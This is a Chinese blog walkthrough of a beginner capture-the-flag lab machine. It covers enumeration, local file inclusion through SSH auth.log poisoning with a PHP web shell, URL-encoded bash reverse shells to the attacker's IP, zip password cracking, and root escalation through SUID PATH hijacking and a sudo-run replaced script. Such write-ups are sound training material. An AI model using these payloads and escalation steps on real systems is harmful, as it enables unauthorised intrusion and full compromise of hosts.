🍬 博主介绍
👨🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!
文章目录
- 🍬 博主介绍
- 一、靶场搭建
- 1. 靶场描述
- 2. 下载靶机环境
- 3. 启动靶机环境
- 二、 渗透靶场
- 1. 确认靶机
- 2. 探测主机开放端口及对应服务
- 3.探测网站目录结构
- 4. 任意文件读取
- 5. 反弹shell
- 6. 权限提升
- 6.1 SUID和环境变量劫持提权
- 6.2 sudo提权
- 相关资源
一、靶场搭建
1. 靶场描述
Difficulty: Easy
A easy box for beginners, but not too easy. Good Luck.
Hint: Enumerate Property.
在描述提示了这个靶场渗透过程要使用大量枚举属性,猜测需要进行大量爆破。
2. 下载靶机环境
靶场源地址点击跳转,点击图中标注处下载靶场源文件。
下载完成的文件如下:
一般从网上下载的文件,可以使用检验下载文件的检验码,防止下载的文件被篡改或者部分缺失.
# windwos 命令
Get-FileHash <filePath> -Algorithm MD5
# linux
md5sum filepath
3. 启动靶机环境
下载下来是虚拟机压缩文件,直接用Vmvare导入就行。然后调一下网络,建议调成NAT模式,桥接其实也行。具体操作步骤可以看我之前的文章,这里就不要截图详细介绍了。搭建完成之后显示如下。
二、 渗透靶场
1. 确认靶机
确定靶机的步骤:
- 通过nmap进行靶机目标网段(192.168.37.22/24)的存活主机探测。
- nmap显示出存活主机之后,根据nmap显示的存活主机的主机名结合已知设备ip排除确定靶机。如果靶机环境设置为
nat模式
确定靶机ip会比较容易。
nmap -sn 192.168.37.22/24
排除到已知ip的机器之后,确认靶机的的ip为
192.168.37.129
。
2. 探测主机开放端口及对应服务
探测端口开放和对应开放端口服务识别,一般使用nmap进行,因为nmap指纹识别比较准确,并且指纹库也比较全。
# ip 指定为靶机ip
nmap -Ap 1-6555 192.168.37.129
确定靶机开放了22、80端口,对应为ssh远程服务和web服务,打开对应web界面。
3.探测网站目录结构
按照靶机作者枚举的提示,本次使用
dirsearch
工具进行扫描,指定指定为kali自带/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
的字典。
sudo dirsearch -u http://192.168.37.129 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -e 404
探测到tasks目录,打开路径发现一个代做任务文本,查看文件内容,可以推断出这个系统中存在一个认证日志。先记录下来,后续可能能够进行利用。
探测到
/blog-post
url路径,打开发现没什么内容,blog-post
下猜测存在子目录,进行使用dirsearch进行目录结构扫描。发现额外两个子路径blog-post/archives
,blog-post/uploads
,分别打开。
sudo dirsearch -u http://192.168.37.129/blog-post
4. 任意文件读取
在
blog-post/archives
路径下发现了一个php文件,点击之后页面上没有任何内容显示,感觉像是文件包含之类的利用点。使用fuffz进行测试
# 模糊测试探测
wfuzz -u "http://192.168.37.129/blog-post/archives/randylogs.php?FUZZ=/etc/passwd" -w /usr/share/wordlists/wfuzz/general/big.txt
发现存在file参数,利用这个php文件可以实现任意文件读取,但这个文件是否通过php的include函数进行文件导入的现在还未知。 如果通过Include导入就能上传php一段话木马获取反弹shell了。验证的思路就是找一段php代码进行验证(我们知道逻辑的)。
5. 反弹shell
通过前面代办任务文件,里面提示存在一个auth日志,现在可以先查看一下这个文件的内容。发现记录的是shh登录用户的日志,这说明可以通过ssh的方式控制这个文件内容,如果能让用户名为一段话php木马那么就能验证randylogs.php 是否通过include导入文件的。
直接执行ssh将用户名命名成一段php木马,这段代码会记录在auth.log登录日志作为登录用户名。但是执行过程中被ssh的用户名规则给拦截了。
ssh '<?php system($_REQUEST['x']);?>'@192.168.37.129
既然这个命令是被kali自带的ssh应用拦截了,转而想到使用之前ssh爆破时候使用
hydra
程序进行ssh登录,应该能绕过用户名限制。构建字典如下。简单介绍一下这段php文件的含义:接受GET请求x参数内容,然后在主机上执行。
hydra -C ./ssh_c.txt ssh://192.168.37.129
发现执行成功,这说明auth.log上面已经包含这段php代码,这时候我们传递x参数为
ls -l
观察页面输出就能判断出是否是php include 远程代码执行漏洞。通过查看返回的文本内容,确实可以执行,randylogs.php 确实是通过include或类似函数
导入文件内容的。
# 将x参数设置 ls -l / 观察显示内容
http://192.168.37.129/blog-post/archives/randylogs.php?file=/var/log/auth.log&x=ls%20-l%20/
通过刚才上传的一句话木马,可以利用获取到反弹shell。这里需要注意到一点,进行反弹shell的命令需要通过url编码,不然执行不了。url在线编码网站点击访问
# x的原文为 "/bin/bash -c 'bash -i >& /dev/tcp/192.168.37.22/8888 0>&1'"
http://192.168.37.129/blog-post/archives/randylogs.php?file=/var/log/auth.log&x=%22%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.37.22%2F8888%200%3E%261%27%22
# 在kali上执行
nc -lvp 8888
成功获取到反弹 shell。
6. 权限提升
反弹shell之后一般执行以下这段python代码,创建一个交互式的伪终端。
python3 -c 'import pty; pty.spawn("/bin/bash")'
接下来找寻可以提权的方式,具体可以关注以下几个方面,
SUID提权
,sudo提权
,定时任务提权
,/etc/passwd文件提权
。如果以上这些方法都没有成功,查看主机中一些备份文件或者用户家目录是不是有敏感信息。
# 找寻具有suid标志的文件
find / -perm -u=s -type f 2>>/dev/null
# 查看是否有可利用sudo提权的命令
sudo -l
通过使用suid和sudo发现没有可利用提权的方式,接下来可以开始找寻系统中是否存在一些敏感文件,比如密码等。
# 找寻备份相关的文件或文件夹
find / -name "*backups*" 2>>/dev/null
找到一个系统备份的文件夹,进入里面发现存在用户的备份文件。意识到这其中存在敏感信息,想法将文件传递kali本机。
# 通过python快速搭建 web服务进行消息传递
python3 -m "http.server" 9090
kali直接通过
wget http://192.168.37.129:9090/user_backup.zip
进行下载,下载完成之后,尝试解压发现需要配置了密码,使用暴力枚举的方式进行密码破解。
# -p指定字典, -D表示后台执行
fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u user_backup.zip
成功暴力接触zip文件的密码,密码为
!randybaby
.,接下来通过unzip user_backup.zip
进行解压文件,解压完成之后发现保存ras公钥和私钥以及密码文件。
结合靶机上
/home
目录下只有一个randy目录,推测这些文件全是randy用户的备份文件,密码也是明文保存,可以直接ssh登录randy用户了。
成功获取到randy身份的shell环境。接下来找寻可供提权的地方。依次执行以下命令
# 找寻具有suid标志的文件
find / -perm -u=s -type f 2>>/dev/null
# 查看是否有可利用sudo提权的命令
sudo -l
6.1 SUID和环境变量劫持提权
通过找寻具有suid文件的命令发现一个sandy的家目录下有一个文件,创建者为root并且具备SUID标志。查看之后发现easysysinfo是编译过的文件,这时候想到之前用户备份文件夹中有一个easysysinfo.c文件,推测是由那个c文件编译而来,先查看c文件的内容。
发现其中的
cat
没有使用绝对路径,意味着执行cat的时候回去环境变量里面寻找对应的应用程序执行,利用这一点,可以伪造一个恶意的cat,并将其放到环境变量的最前方(操作系统找寻应用程序从环境变量找是从前到后)。接下来开始伪造cat并实现环境变量劫持。
# 给/bin/bash添加suid标志,完成之后所有人执行/bin/bash都会获取root(文件所有者)身份
echo 'chmod +s /bin/bash' > cat
chmod 777 cat
# 环境变量劫持
export PATH=/home/randy/tools:$PATH
./easysysinfo
# -p 忽略一些环境变量的影响
/bin/bash -p
成功获取到root的权限,接下来就能直接拿到flag内容了。
6.2 sudo提权
执行完sudo -l发现,easysysinfo可以无密码的方式以root身份执行。利用可以构造一个恶意的easysysinfo文件,这次通过一个恶意的反弹shell来提权。
# 将之前的文件重命名
mv easysysinfo easysysinfo1
vi easysysinfo
chmod +x easysysinfo
sudo /home/randy/tools/easysysinfo
# 恶意easysysinfo内容
#!/bin/bash
# 设置反弹的目标IP和端口
TARGET_IP="192.168.37.22"
TARGET_PORT="8888"
# 反弹 shell
bash -i >& /dev/tcp/$TARGET_IP/$TARGET_PORT 0>&1
# kali监听反弹shell
nc -lvp 8888
成功获取到root身份的反弹shell,接下来可以获取到最终的flag文件。
相关资源
1、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-1 通关详解 (附靶机搭建教程)
2、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-2 通关详解 (附靶机搭建教程)
3、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-3 通关详解 (附靶机搭建教程)
4、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-4 通关详解 (附靶机搭建教程)
5、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-5 通关详解 (附靶机搭建教程)
6、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-6 通关详解 (附靶机搭建教程)
7、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-7 通关详解 (附靶机搭建教程)
8、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-8 通关详解 (附靶机搭建教程)
9、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-9 通关详解 (附靶机搭建教程)
10、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 Corrosion1 通关详解 (附靶机搭建教程)